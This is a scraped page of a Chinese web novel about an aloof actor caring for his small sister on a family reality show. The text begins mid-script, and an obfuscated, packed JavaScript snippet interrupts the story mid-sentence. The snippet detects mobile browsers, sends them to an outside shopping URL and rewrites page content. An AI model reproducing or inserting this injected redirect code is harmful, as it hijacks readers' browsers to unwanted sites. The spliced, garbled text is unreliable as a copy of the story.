l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437531|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了那个在草坪上跟小朋友一起荡秋千的小团子。 不是为了让她过得多奢侈,而是为了让她永远不用经历他小时候经历过的那些事。 永远不用。 第四组嘉宾终于到了。 单亲爸爸陈江河带着五岁的儿子陈小树。陈江河是个自由摄影师,穿着朴素,话不多,看起来有些拘谨。陈小树则完全相反——瘦瘦小小的,但眼睛特别亮,像两颗黑豆,滴溜溜地转,一看就是个机灵鬼。 “不好意思,路上堵车了。”陈江河抱歉地说。 “没事没事!”孙磊热情地招呼,“来了就好!走走走,先去民宿安顿下来!” 四组嘉宾被安排在不同的民宿里。姜牧野和姜牧云分到了一栋单独的小院,院子里有一棵大槐树,树下摆着一张石桌和两把竹椅。 姜牧云一进院子就撒欢了。 “哥哥!这里有树!好大的树!比你还大!”她围着槐树跑了一圈又一圈,两个小揪揪飞起来,像两只小翅膀。 “姜牧云,别跑太快,会摔倒——” 话还没说完,姜牧云就被树根绊了一下,整个人往前扑去。 姜牧野眼疾手快,一把捞住了她的后领子。 小姑娘被悬在半空中,四肢晃荡着,像一只被拎起来的小猫。 “我说什么了?”姜牧野面无表情地问。 “你说‘姜牧云别跑太快会摔倒’。”姜牧云老老实实地回答。 “然后呢?” “然后我就摔倒了。” “所以你下次应该怎么做?” “跑慢一点?” “不跑。” “可是跑步好好玩呀!” “那你摔倒的时候不要哭。” “姜牧云才不会哭呢!”她义正言辞地说,然后小声补充,“……除非很疼。” 姜牧野把她放下来,蹲下身,拍了拍她膝盖上的草屑。 “疼不疼?” “不疼!”姜牧云摇头,“因为哥哥接住我了!有哥哥在就不会疼!” 姜牧野的手顿了一下。 然后他站起来,面无表情地说:“进屋收拾东西。” “好!”姜牧云蹦蹦跳跳地跑向屋子,跑到一半又回头,“哥哥!” “嗯?” “谢谢你接住我!” 她笑得像院子里的阳光一样灿烂。 姜牧野站在槐树下,看着那个小小的身影消失在门框里。 风吹过来,槐树的叶子沙沙作响,有几片叶子落在他肩上。 他抬手拂掉叶子,嘴角弯了一下。 很轻,很快,像风一样。 但这一次,周围没有摄像机。 至少他以为没有。 他不知道的是,节目组在院子的角落里装了一个隐蔽摄像头,正对着整棵槐树。 而周导在监控室里,看着屏幕上姜牧野弯腰给妹妹拍膝盖的动作,默默地打开了一个新的文件夹,命名为: “名场面——备用。” 5. 自我介绍 下午三点,节目组安排了第一个环节——嘉宾自我介绍。 四组嘉宾围坐在草坪上,面前摆着水果和饮料。周围架了七八台摄像机,还有无人机在头顶盘旋。 姜牧云坐在姜牧野旁边,两只小手捧着一块西瓜,小口小口地啃着,西瓜汁顺着下巴滴到了裙子上。 姜牧野面无表情地拿纸巾给她擦。 “下面我们请各位嘉宾做个自我介绍!”主持人小林拿着手卡笑着说,“从磊哥开始吧!” 孙磊站起来,清了清嗓子,中气十足地说:“大家好,我是孙磊,前国家游泳队队员,现在是体育解说员。这是我儿子孙小壮!” 孙小壮站起来,鞠了一躬:“大家好!我叫孙小壮!今年六岁!我喜欢游泳和踢球!我爸爸说我要做一个强壮的男人!” 全场鼓掌。 苏瑶笑着介绍:“大家好,我是苏瑶。这是我的女儿林恬恬。恬恬,跟大家打个招呼吧!” 林恬恬站起来,抱着毛绒熊,甜甜地说:“大家好,我叫林恬恬,我今年四岁了。我喜欢吃草莓和冰淇淋,还喜欢跳舞。谢谢大家!” 她说完还转了一圈,裙摆飞起来,像一朵盛开的花。 苏瑶鼓掌:“好棒!” 接下来是陈江河。他有些拘谨地站起来:“大、大家好,我叫陈江河,是一名自由摄影师。这是我儿子陈小树。” 陈小树站起来,不像其他小朋友那样害羞或活泼,而是很沉稳地点了点头:“大家好,我叫陈小树,五岁。我喜欢拍照和画画。” 他的声音不大,但很清楚,眼神也很定。 姜牧野注意到这个小孩——瘦瘦小小的,但眼睛里有一种同龄人没有的沉静。 然后主持人小林看向姜牧野:“下面有请姜老师!” 姜牧野站起来,微微点头:“大家好,我是姜牧野。” 完了。 全场等了三秒。 “没了?”孙磊忍不住问。 “没了。”姜牧野说。 “……”孙磊转头看向主持人,“这自我介绍也太简短了吧?” 小林笑着打圆场:“姜老师的风格就是简洁嘛!不过姜老师,您不介绍一下妹妹吗?” 姜牧野低头看了一眼姜牧云。 小姑娘正专心致志地啃西瓜,脸上糊满了西瓜汁和西瓜籽,对周围的一切浑然不觉。 “姜牧云。”他叫她。 没反应。 “姜牧云。” 还是没反应。 “草莓冰淇淋。” 姜牧云猛地抬头:“在哪里!” 全场爆笑。 姜牧野面无表情地指了指摄像机:“自我介绍。” 姜牧云这才注意到所有人都在看她。她愣了一下,然后低头看了看自己手里的西瓜,又看了看满裙子的西瓜汁,表情逐渐从迷茫变成了惊慌。 “哥哥!我的脸是不是很脏!”她小声问。 “是。” “你怎么不早说!” “我说了三遍姜牧云,你没听到。” “我……我在吃西瓜!吃西瓜的时候耳朵会关掉的!” “谁告诉你的?” “我自己发现的!每次吃东西的时候都听不到你叫我!” “那是因为你专注吃东西,不是耳朵关掉了。” “那是一样的呀!” “……不一样。” “一样的!” 姜牧野深吸一口气,放弃了争辩。他拿纸巾把她脸上的西瓜汁擦干净,又把西瓜籽一颗一颗摘掉,最后把她嘴边的西瓜汁残留擦掉。 整个过程,全场鸦雀无声。 所有人都看着这个号称“娱乐圈行走的冰山”的男人,蹲在地上,用堪比外科医生的精细度,给一个三岁半的小女孩擦脸。 苏瑶捂着嘴,小声对孙磊说:“我好像看到了什么不该看到的东西。” 孙磊小声回答:“我也是。我感觉姜老师的人设在我面前崩塌了。” 陈江河没有说话,但他看着姜牧野的眼神里,有一种复杂的东西——像是理解,又像是共鸣。 擦完脸,姜牧云终于干净了。她站起来,拍了拍裙子上的西瓜汁(没拍掉),然后对着摄像机鞠了一躬,动作夸张得像在演舞台剧。 “大家好!我叫姜牧云!我今年三岁半!”她大声说,声音清脆得像是刚被洗过的铃铛,“我哥哥叫姜牧野!他今年二十三岁!他演戏很厉害!但是他不会做饭!他只会煮泡面!而且每次煮泡面都会把厨房弄得很乱!上次还把锅烧糊了!阿姨说——” “姜牧云。”姜牧野的声音从牙缝里挤出来。 “嗯?”小姑娘回头看他,葡萄眼里全是无辜。 “可以了。” “可是我还没说完呢!我还要告诉大家你——” “说完了。” “没有呀,我才说了一点点——” “姜牧云,你再说话就没有草莓冰淇淋了。” 小姑娘的嘴巴“咔”地闭上了。 那速度,比捕鼠夹还快。 全场再次爆笑。 孙磊笑得拍大腿:“哈哈哈哈哈哈!姜老师,你这妹妹太有意思了!” 苏瑶笑得眼泪都出来了:“天哪,这也太可爱了!恬恬你看到了吗?云云好可爱!” 林恬恬认真地点头:“嗯!云云是我见过最可爱的小朋友!” 姜牧云听到夸奖,不好意思地躲到了姜牧野腿后面,只露出半个脑袋,两个小揪揪一晃一晃的。 姜牧野低头看她,嘴角微微动了一下。 没有笑。但所有人都觉得他笑了。 周导在监控室里看着这一幕,对着对讲机说:“摄像组,把刚才那段擦脸的镜头剪出来,我要做特写。” 摄像组-小刘:“收到!要多长?” 周导:“能多长就多长。” 她顿了顿,又补充了一句:“算了,整段都留着。一秒都不许剪。” 自我介绍环节结束后,节目组安排了第一个活动——亲子野餐。 每组家庭需要自己准备野餐的食物和用具,然后一起在草坪上分享。 姜牧野打开节目组提供的食材箱,看了一眼里面的东西:面包、火腿、奶酪、生菜、番茄、黄瓜、鸡蛋、面粉…… 他沉默了。 “哥哥,我们做什么呀?”姜牧云蹲在他旁边,好奇地看着箱子里的食材。 “三明治。”姜牧野果断选择了他唯一会做的东西。 “可是三明治好简单呀!我们做点别的嘛!” “你想做什么?” “披萨!” “不会。” “意大利面!” “不会。” “蛋糕!” “不会。” “……哥哥你会做什么?” 姜牧野想了想:“泡面。” 姜牧云的表情像是吃了一口柠檬:“哥哥你好没用哦。” “你说什么?” “我说哥哥你好厉害哦!什么都会!” “……我听到了。” 姜牧云心虚地转移话题:“那我们就做三明治吧!姜牧云来帮忙!” 她撸起袖子——其实她穿的是短袖,没什么好撸的——但那个架势还是很足的。她踮着脚尖,从箱子里拿出面包和火腿,然后一本正经地开始摆盘。 “面包放在下面……然后放火腿……然后放生菜……生菜好大一片呀!哥哥你看!这片生菜好像一条裙子!” 她把生菜举起来,对着阳光看。生菜叶子的纹路在阳光下清晰可见,像一条蕾丝花边的裙子。 “真的好像裙子!”她兴奋地说,“哥哥你帮我拍张照!” “先做三明治。” “拍一张嘛!就一张!” “姜牧云——” “拍完我就乖乖做三明治!我保证!” 姜牧野叹了口气,拿出手机,给她拍了一张举着生菜的照片。 姜牧云跑过来看:“哇!好好看!姜牧云好漂亮!” “是你漂亮还是生菜漂亮?” “都漂亮!但是姜牧云更漂亮一点点!”她用拇指和食指比了一个“一点点”的手势,大概有两厘米宽。 姜牧野收起手机:“继续做三明治。” “好!” 接下来,姜牧云正式开始她的“帮忙”。 她拿了一片面包放在案板上,然后拿起火腿片往上放——火腿片是圆的,面包是方的,她试图把圆形的火腿对齐到方形的面包上,但怎么放都觉得不对称。 “哥哥,为什么火腿是圆的?” “因为火腿切片就是圆的。” “可是面包是方的呀。” “嗯。” “圆形的火腿放在方形的面包上,会留下四个角没有火腿!这样不公平!四个角会难过的!” “……面包的角不会难过。” “会的!如果是你,你的身体被盖住了但是手脚没有被盖住,你会不会难过?” 姜牧野想了想:“……会。” “所以呀!我们要把火腿切成方形的!” 她拿起一把塑料小刀(姜牧野事先给她准备的,安全第一),开始认真地切火腿。她试图把圆形的火腿切成方形,但切出来的形状更像是——一团被压扁的土豆泥。 “哥哥你看!方形的火腿!”她举起那团惨不忍睹的火腿碎片,脸上写满了骄傲。 姜牧野看着那团“火腿泥”,沉默了两秒。 “……很好。” “那接下来放生菜!” 她把那片“裙子”生菜铺在火腿上面。生菜比面包大了一圈,叶子从四面八方探出来,像给三明治戴了一顶帽子。 “生菜太大了。”姜牧野说。 “不大!生菜就是要露出来才好看!就像裙子要有花边一样!” “三明治不是衣服。” “可是好看呀!” 姜牧野放弃了。 接下来是番茄。姜牧云坚持要把番茄切成心形,因为“吃了心形的番茄会变得更爱哥哥”。姜牧野张了张嘴,想说什么,最后还是闭上了。 结果是——番茄被她切成了各种奇怪的形状:有像云的,有像鱼的,有像恐龙的,就是没有像心的。 “这是心形吗?”姜牧野指着一个长得像三角龙的东西问。 “这是恐龙心!”姜牧云理直气壮,“恐龙的心就是这样的!” “你见过恐龙的心?” “没有!但是我可以想象呀!哥哥你不是说想象力很重要吗?” “我说的是演戏的时候想象力很重要。” “做三明治也一样呀!” “……哪里一样了?” “都是创造!”她张开双臂,做了一个“世界在我手中”的动作,“姜牧云在创造三明治!” 姜牧野看着她那个夸张的动作,嘴角不受控制地弯了一下。 他终于没忍住,笑了。 不是那种零点五毫米的微动,而是真真切切地弯了嘴角,露出了一个可以被称为“笑”的表情。 虽然只有一秒。 虽然很快就收回去了。 但摄像师拍到了。 监控室里,周导差点从椅子上跳起来:“回放!把刚才那段回放!” 画面上,姜牧野蹲在草坪上,看着妹妹举着一个长得像恐龙的番茄,嘴角弯了起来。 那个笑容,怎么说呢—— 就像冰面上裂开了一条缝,阳光从缝隙里照进来,照到了最深处的湖底。 湖底不是冰,是水。 是暖的。 周导深吸一口气,对着对讲机说:“所有摄像注意,姜牧野和姜牧云的镜头,一秒都不要错过。” 她顿了顿,又补了一句:“尤其是姜牧野笑的时候。” “他笑了?”摄像组-小刘的声音充满了不可置信,“姜牧野会笑?” “会,”周导说,“而且笑起来很好看。” “有多好看?” “好看到我觉得这个节目的收视率能破纪录。” 对讲机里沉默了一秒。 然后小刘说:“我这就去加机位。” 野餐的时候,四组家庭把各自准备的食物摆在一起,形成了一个丰盛的自助餐。 孙磊和孙小壮做了烤肉——不愧是运动员出身,他们带了一个便携式烤炉,烤了牛排、鸡翅、香肠、玉米……香气四溢,把所有人的馋虫都勾出来了。 苏瑶和林恬恬做了水果沙拉和纸杯蛋糕。蛋糕上还裱了奶油花,摆上了草莓和蓝莓,精致得像甜品店的橱窗展示。 陈江河和陈小树做了寿司。陈江河以前在日本学过料理,寿司卷得紧实又漂亮,切面整齐得像艺术品。陈小树在旁边帮忙摆盘,每片寿司之间的间距精确到毫米。 然后大家看向姜牧野和姜牧云。 姜牧野面无表情地从野餐篮里拿出他们的作品—— 一堆奇形怪状的三明治。 有的面包被压扁了,有的火腿从侧面探出来,有的生菜像爆炸了一样从四面八方炸开。最离谱的是那个被放了“恐龙心”番茄的三明治,番茄的形状让整个三明治看起来像在做一个鬼脸。 全场沉默了。 孙磊盯着那堆三明治看了五秒,然后爆发出震天动地的笑声:“哈哈哈哈哈哈哈哈!姜老师!这——这是什么!” “三明治。”姜牧野面无表情地说。 “三明治???”孙磊笑得直拍大腿,“我怎么看着像车祸现场啊哈哈哈哈!” 苏瑶忍着笑说:“磊哥你别笑了!人家姜老师第一次带妹妹做三明治,做成这样已经很不容易了!” “不是,我不是笑话姜老师,”孙磊擦了擦笑出来的眼泪,“我是觉得这三明治跟姜老师的人设反差太大了!你看姜老师平时那个高冷的样子,谁能想到他做的三明治长这样啊!” 姜牧云的嘴巴撅了起来。 “不许笑我哥哥!”她挡在姜牧野面前,张开双臂,像一只护食的小母鸡,“我哥哥做的三明治很好吃的!只是不好看而已!不好看不代表不好吃!” 全场安静了一秒。 然后孙磊笑得更厉害了:“哈哈哈哈哈哈!小朋友你说得对!叔叔错了!来来来,叔叔尝尝你哥哥的三明治!” 他拿起一块三明治,咬了一大口。 嚼了两下。 表情变了。 “……嗯?”他又嚼了几下,“嗯???” “怎么了?”苏瑶好奇地问。 “还挺好吃的!”孙磊惊讶地说,“这里面放了什么?” 姜牧云骄傲地仰起头:“放了火腿、生菜、番茄、奶酪、还有——秘密配方!” “什么秘密配方?” “不能告诉你!是姜牧云和哥哥的秘密!” 姜牧野在旁边面无表情地补充:“蛋黄酱。” “哥哥!!!”姜牧云急得跺脚,“你怎么说出来了!这是我们的秘密!” “蛋黄酱不算秘密。” “算的!只要是我们两个人的秘密都算!” “那我们的秘密也太多了。” “多才好呀!秘密越多,我们的感情就越深!” 姜牧野:“……” 孙磊在旁边感慨:“姜老师,你妹妹这嘴皮子,是遗传谁啊?” 姜牧野想了想:“大概是遗传我妈。” “你妈妈也很能说?” “不,她不太说话。” “那你妹妹怎么这么能说?” “大概是基因突变。” “哥哥!!!”姜牧云又跺脚,“我不是基因突变!我是姜牧云!你唯一的妹妹!” “我知道。” “那你为什么说我基因突变!” “因为你确实很能说。” “那是因为我有好多话想跟哥哥说呀!如果我不说,你怎么知道我在想什么?” 姜牧野看着她。 阳光照在她的小脸上,葡萄眼亮晶晶的,映着天空的蓝和草地的绿。她的表情认真极了,好像她刚才说的不是什么“三岁半小孩的童言童语”,而是这个世界上最严肃、最重要的事实。 “如果我不说,你怎么知道我在想什么?” 姜牧野忽然觉得这句话,可能是他这辈子听过的最有道理的话。 他伸手,揉了揉她的头顶,把两个小揪揪揉歪了。 “你说得对。”他说。 姜牧云愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437532|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后笑得眼睛弯成月牙:“哥哥你终于承认了!” “我承认什么了?” “承认姜牧云说得对!” “……我说的是‘你说得对’。” “那是一样的呀!” 姜牧野没有再争辩。 他拿起一块三明治,咬了一口。 蛋黄酱的味道在嘴里化开,带着火腿的咸香和生菜的清甜。 确实挺好吃的。 他低头看了一眼手里的三明治——那个被姜牧云放了“恐龙心”番茄的,长得像在做鬼脸的那个。 他把它吃完了。 一口都没剩。 野餐进行到一半的时候,发生了一件小事。 林恬恬拿了一块草莓蛋糕,正准备吃,忽然看到姜牧云手里的三明治(那个长得像在做鬼脸的),好奇地问:“云云,你的三明治为什么长得这么奇怪?” 姜牧云低头看了看自己的三明治,又看了看林恬恬手里的草莓蛋糕,认真地说:“因为它有个性。” “个性?” “对!阿姨说,每个人都有自己的个性。长得不一样不代表不好。三明治也是一样的!它长得奇怪,但是它很好吃!你尝尝!” 她把三明治递过去。 林恬恬犹豫了一下,咬了一小口。 嚼了两下,眼睛亮了:“真的好吃!” “对吧!”姜牧云骄傲地挺起小胸膛,“所以不能以貌取三明治!” 苏瑶在旁边听到这句话,忍不住笑了:“云云说得对!不能以貌取三明治!这句话太有哲理了!” 孙磊接话:“不止三明治,人也一样!不能以貌取人!” 姜牧云歪着头想了想:“那可以以貌取什么?” 这个问题把所有人都问住了。 姜牧云自己回答了:“可以以貌取冰淇淋!草莓味的比巧克力味的好看!所以草莓味的更好吃!” “……这是什么逻辑?”孙磊哭笑不得。 “姜牧云的逻辑!”她理直气壮地说。 姜牧野在旁边默默地吃着三明治,没有说话。 但他的嘴角,一直保持着那个微微上扬的弧度。 没有收回去。 晚饭后,节目组安排了“亲子谈心时间”——每组家庭单独待在各自的院子里,聊一聊“最想对家人说的话”。 姜牧野和姜牧云坐在院子里的石桌旁,头顶是大槐树的枝叶,透过叶子的缝隙能看到天上的星星。 “哥哥,今天的星星好多呀!”姜牧云仰着头,脖子都快折过去了。 “嗯。” “哥哥,星星上面有人吗?” “不知道。” “如果有人的话,他们也在吃晚饭吗?” “可能吧。” “他们吃什么呢?” “不知道。” “他们吃不吃三明治?” “也许。” “他们的三明治会不会也长得像在做鬼脸?” “……也许。” “哥哥,你能不能多说几个字?” “能。” “……” 姜牧云鼓起了腮帮子。 姜牧野看着她鼓起来的腮帮子,沉默了两秒,然后说:“你想问什么?” “我想问——”姜牧云转了转眼睛,“哥哥,你最喜欢的人是谁?” “你。” 回答得快得像条件反射。 姜牧云愣了一下,然后脸“唰”地红了。 她红着脸的样子特别好笑——整张圆脸从额头红到脖子,像一颗熟透了的苹果。她低下头,小手揪着裙子的边边,扭来扭去。 “哥哥你……你怎么说这么快!”她小声嘟囔。 “因为这是事实。” “可是……可是你应该想一想再说的!想都不想就说,听起来好假!” “那你觉得我说的是假的?” “……不是假的。”她的声音更小了,像蚊子哼哼,“但是你说这么快,我会不好意思的。” 姜牧野看着她扭来扭去的样子,嘴角弯了一下。 “那我重新说。”他清了清嗓子,故意停顿了三秒,“我最喜欢的人——是姜牧云。” “哥哥!!!”姜牧云捂住了脸,从指缝里露出红彤彤的耳朵,“你故意的!” “你说要我想一想再说。” “我没有让你想这么久!三秒太久了!一秒就够了!不对,零点五秒!” “你到底要快还是慢?” “要刚刚好!” “什么是刚刚好?” “就是……就是……”她想了半天,终于找到了一个词,“就是自然!就像呼吸一样自然!你最喜欢姜牧云,就像呼吸一样自然!” 姜牧野看着她。 月光透过槐树叶子的缝隙洒下来,落在她的小脸上,斑斑驳驳的。她的葡萄眼里映着星光和灯光,亮得像两颗小太阳。 “好,”他说,“就像呼吸一样自然。” 姜牧云放下捂脸的手,看着哥哥。 她的表情慢慢变了——从害羞变成了认真。 “哥哥,”她说,“姜牧云最喜欢的人也是你。” “嗯。” “你不好奇我为什么最喜欢你吗?” “为什么?” “因为你是世界上最好的哥哥呀!”她掰着手指数,“你会给我买草莓冰淇淋!你会帮我擦嘴!你会接住我不让我摔倒!你会陪我聊天!虽然你每次都说很少的话!但是我知道你在听!你在认真听!” 她抬起头,看着姜牧野的眼睛。 “哥哥,你知道吗?阿姨说,不是所有的哥哥都会认真听妹妹说话的。但是你会。你每次都听。就算我说的话很无聊,你也会听。所以你是世界上最好的哥哥。” 姜牧野没有说话。 他坐在竹椅上,月光照在他脸上,那张总是冷冰冰的脸,此刻像是被月光融化了一样,线条柔和得不可思议。 他伸出手,把姜牧云从石凳上抱起来,放在自己膝盖上。 小姑娘坐在他怀里,后背贴着他的胸口,能感受到他心跳的节奏——咚、咚、咚,沉稳而有力。 “姜牧云。”他说,声音很低,像大提琴的低音弦在震动。 “嗯?” “你知道我为什么每次都认真听你说话吗?” “为什么?” “因为你说的话,一点都不无聊。” 姜牧云愣了一下。 然后她笑了。 那个笑容,比月光还亮,比星光还美。 她靠在哥哥怀里,仰头看着天上的星星,小声说:“哥哥,我们以后每天都这样好不好?坐在院子里看星星,聊天,说很多很多话。” “好。” “拉钩!” 她伸出小拇指。姜牧野也伸出小拇指,跟她勾在一起。 “拉钩上吊,一百年不许变!”姜牧云郑重地说,然后用力地盖了个章。 盖章的时候,她的手指头太小了,盖不住姜牧野的指腹,就盖在了他的手指关节上。 但她盖得很认真。 很用力。 好像这个约定,比世界上任何事情都重要。 院子外面,周导站在监控设备前,看着屏幕上兄妹俩拉钩的画面,悄悄抹了一下眼角。 旁边的摄像师小刘吸了吸鼻子:“周导,这段……” “留着。”周导的声音有点哑,“一秒都不许剪。” “我知道。”小刘说,“这段要是剪了,观众会杀了我们的。” 周导点了点头,又看了一眼屏幕。 姜牧云靠在姜牧野怀里,已经睡着了。小嘴微张,呼吸均匀,两个小揪揪歪歪扭扭地耷拉在脑袋两边。 姜牧野低头看着她,一只手轻轻拍着她的背,另一只手把滑落的毯子拉上来,盖住她的小脚丫。 月光洒满了整个院子。 槐树的叶子在风中轻轻摇晃,发出沙沙的声响,像一首无声的摇篮曲。 周导轻声说:“关机吧,让他们休息。” “不拍了?”小刘惊讶地问。 “不拍了。”周导说,“有些画面,不是用来拍的。” “是用来记住的。” 6. 第一个早晨 第二天早上六点,姜牧野被一阵窸窸窣窣的声音吵醒了。 他睁开眼,看到姜牧云站在他的床边,抱着兔子玩偶,两个小揪揪歪歪扭扭的(明显是自己扎的),葡萄眼亮晶晶地盯着他。 “哥哥,起床了。”她小声说。 姜牧野看了一眼手机——六点零三分。 “太早了。”他闭上眼睛。 “可是太阳已经出来了!” “太阳出来不代表人要起床。” “可是小鸟已经起床了!” “你是人,不是鸟。” “可是我已经醒了!” “那你自己去玩。” “可是我想跟哥哥玩!” “……” “哥哥——”姜牧云伸手戳了戳他的脸颊,软软的,“你昨天说今天带我去看花的!” 姜牧野想起昨天临睡前确实答应过她,今天早上去看村子后面的花田。 他深吸一口气,睁开眼睛,坐起来。 “给我五分钟。” “好!”姜牧云开心地蹦了一下,“姜牧云去换衣服!” 她抱着兔子玩偶跑了出去,脚步声噼里啪啦的,像一匹脱缰的小马驹。 姜牧野坐在床上,揉了揉太阳穴。 三岁半的小孩,精力怎么能这么旺盛?她是身体里装了一个核反应堆吗? 他花了四分钟洗漱换衣服,准时出现在客厅。 姜牧云已经换好了衣服——一件印满小雏菊的黄色连衣裙,头上重新扎了两个小揪揪,这次扎得比刚才整齐一点,但还是一个高一个低。 “哥哥你看!我自己扎的!”她得意地指着自己的头发。 “一个高一个低。” “那是故意这样的!不对称才好看!” “你昨天说不对称不好看。” “昨天是昨天,今天是今天!姜牧云每天都在进步!” “……你的进步方向有点奇怪。” “才不奇怪!走啦走啦!看花去!” 她拉着姜牧野的手,往外拽。她的手很小,只能握住姜牧野的两根手指,但拽的力道很大,好像她一个人就能拉动一头牛。 清晨的月亮湾笼罩在一层薄薄的雾气里,空气清新得像被洗过一样,带着青草和露水的味道。远处青山如黛,近处溪水潺潺,鸟叫声从四面八方传来,像一场自然的交响乐。 姜牧云一边走一边东张西望,看到什么都要停下来研究一番。 “哥哥!这里有蚂蚁!好小的蚂蚁!它们在搬家!” “嗯。” “哥哥你看!这朵花是紫色的!好漂亮!叫什么花?” “不知道。” “你怎么什么都不知道!” “我又不是植物学家。” “植物学家是什么?” “研究植物的人。” “那你可以当植物学家呀!这样你就什么花都认识了!” “我对当植物学家没兴趣。” “那你有兴趣当什么?” “演员。” “那你演一个植物学家!” “……这不一样。” “哪里不一样了?” 姜牧野决定不回答了。 他们沿着村间的小路走了大概十分钟,眼前豁然开朗—— 一片巨大的花田铺展在面前。 不是向日葵,是格桑花。 五颜六色的格桑花在晨风中摇曳,粉色、白色、紫色、红色……像是有人把彩虹打碎了撒在地上。花瓣上沾着清晨的露珠,在阳光下闪着细碎的光。 姜牧云站在花田边上,整个人呆住了。 她的小嘴微微张开,葡萄眼睁得圆圆的,瞳孔里映着整片花海的颜色。 “哇——”她发出了一声长长的惊叹,然后转头看向姜牧野,表情严肃得像个鉴赏家,“哥哥,这片花,值多少钱?” “……花不是用钱来衡量的。” “那用什么衡量?” “用心。” 姜牧云歪着头想了想:“那我的心说,这片花值一百个草莓冰淇淋!” “……这个换算单位很奇怪。” “不奇怪!草莓冰淇淋是世界上最好吃的东西!所以用草莓冰淇淋来换算,就能知道其他东西有多好!” “那这片花等于一百个草莓冰淇淋,说明什么?” “说明这片花超级好!”她张开双臂,在花田边上转了一圈,裙摆飞起来,像一朵盛开的小雏菊,“比一百个草莓冰淇淋还好!” 她跑进了花田。 准确地说,是跑进了花田边上的小路。她还记得姜牧野说的“不要踩花”,所以小心翼翼地沿着田埂走,两只脚一前一后地挪动,像一只企鹅。 “哥哥!好多花!你看这朵!这朵最好看!”她蹲下来,指着一朵粉色的格桑花。 姜牧野走过去,蹲在她旁边。 那朵格桑花确实好看——花瓣粉嫩嫩的,中间是金黄色的花蕊,形状像一把小伞。 “哥哥,我可以摘一朵吗?” “不行。花摘下来就会死。” “可是我想带回家……” “你可以给它拍照。” 姜牧云想了想,点了点头:“好!哥哥你手机借我!” 姜牧野把手机递给她。 姜牧云双手捧着手机,对着那朵花,表情严肃得像在拍证件照。她的小手指笨拙地在屏幕上戳来戳去,试图对焦,但每次都戳歪了。 “哥哥,它不听我的话!”她急得皱眉。 “我帮你拍。” “不要!我要自己拍!这是姜牧云和这朵花的回忆!所以要姜牧云自己拍!” 她又戳了几下屏幕,终于——拍到了一张照片。 姜牧野凑过去看。 照片里,花只拍到了一半,另一半是姜牧云自己的手指头。 “……”姜牧野。 “好好看!”姜牧云满意地说,“你看这个手指头!好圆!好像一颗小汤圆!” 姜牧野看了一眼她圆滚滚的手指头。 确实像汤圆。 “哥哥,你也来拍一张!”姜牧云把手机塞回他手里,然后跑到花田里,站在那朵粉色格桑花旁边,摆了一个pose——两只手托着下巴,歪着头,笑出四颗小米粒一样的牙齿。 姜牧野举起手机。 镜头里,小姑娘站在花海中,背后是无边的格桑花和远山晨雾,阳光从侧面照过来,给她的头发镀上了一层金色的光。 他按下了快门。 拍完之后,他看了一眼照片。 然后他默默地把这张照片设成了壁纸。 虽然他的壁纸之前是姜牧云举着生菜的那张。 “哥哥,给我看看!”姜牧云跑过来,踮着脚尖要看手机。 姜牧野把手机放低,给她看。 “哇!姜牧云好漂亮!”她自夸起来毫不脸红,“哥哥,你把我拍得好好看!你是不是偷偷学过拍照!” “没有。” “那你为什么拍得这么好看?” “因为你本来就好看。” 姜牧云愣了一下。 然后她的脸又红了。 “哥哥你……”她低下头,小手揪着裙子的边边,“你今天怎么老是说这种话!” “什么话?” “就是……就是夸我的话!” “我说的都是事实。” “可是你说得太多了!我会骄傲的!” “你会骄傲吗?” “不会……但是阿姨说不能经常被夸,不然会变成自大狂!” “你不是自大狂,你是姜牧云。” 姜牧云抬起头,看着哥哥。 晨光里,姜牧野蹲在花田边上,穿着一件简单的白T恤和牛仔裤,头发没有打理,刘海垂在额前,遮住了一半的眉毛。他的表情还是那种淡淡的、冷冷的样子,但眼睛里的光—— 是暖的。 很暖。 “哥哥,”姜牧云忽然扑过去,抱住了他的脖子,“你是世界上最好的哥哥!” 姜牧野被她撞得往后一仰,单手撑在地上才稳住。 “姜牧云,你突然扑过来很危险——” “我知道你会接住我的!”她把脸埋在他的颈窝里,闷闷地说,“你永远都会接住我的。” 姜牧野沉默了一秒。 然后他用另一只手,轻轻拍了拍她的后背。 “嗯,”他说,“永远都会。” 花田的另一头,摄像师小刘趴在草丛里,扛着长焦镜头,把这一幕完整地记录了下来。 他一边拍一边在心里想:这段要是播出去,姜牧野的高冷人设就彻底没了。 但是—— 管他呢。 这人设崩得太好看了。 早饭是在村子的公共食堂吃的。 节目组准备了一顿丰盛的农家早餐:小米粥、手工馒头、蒸玉米、煮鸡蛋、小咸菜,还有现磨的豆浆。 姜牧云坐在姜牧野旁边,面前摆了一碗小米粥和半个馒头。她拿着勺子,试图把小米粥舀起来,但小米粥太稀了,每次都从勺子的缝隙里漏下去。 “哥哥,这个粥不听话!”她皱着眉说。 “你舀慢一点。” 姜牧云放慢了速度,小心翼翼地舀了一勺,这次成功了。她把勺子送到嘴边,喝了一口,露出一个满意的表情。 “好喝!” “嗯。” “哥哥,你也喝!”她用同一个勺子舀了一勺,递到姜牧野嘴边。 姜牧野张嘴喝了。 孙磊在旁边看到这一幕,感慨道:“姜老师,你妹妹真贴心啊。” “嗯。” “我儿子就不行,”孙磊看了一眼旁边正在用馒头打仗的孙小壮,“这小子就知道疯。” “爸爸!我没有疯!我是在练习投掷!”孙小壮严肃地纠正,手里的馒头飞了出去,精准地砸在了孙磊的脑门上。 孙磊:“……” 全场爆笑。 苏瑶笑得趴在桌上:“磊哥,你儿子的投掷精准度可以啊!将来可以进国家队!” “进什么国家队!先进厕所!孙小壮你给我过来!” 孙小壮笑嘻嘻地跑了,孙磊在后面追,父子俩在食堂里绕圈跑,像一场即兴的喜剧表演。 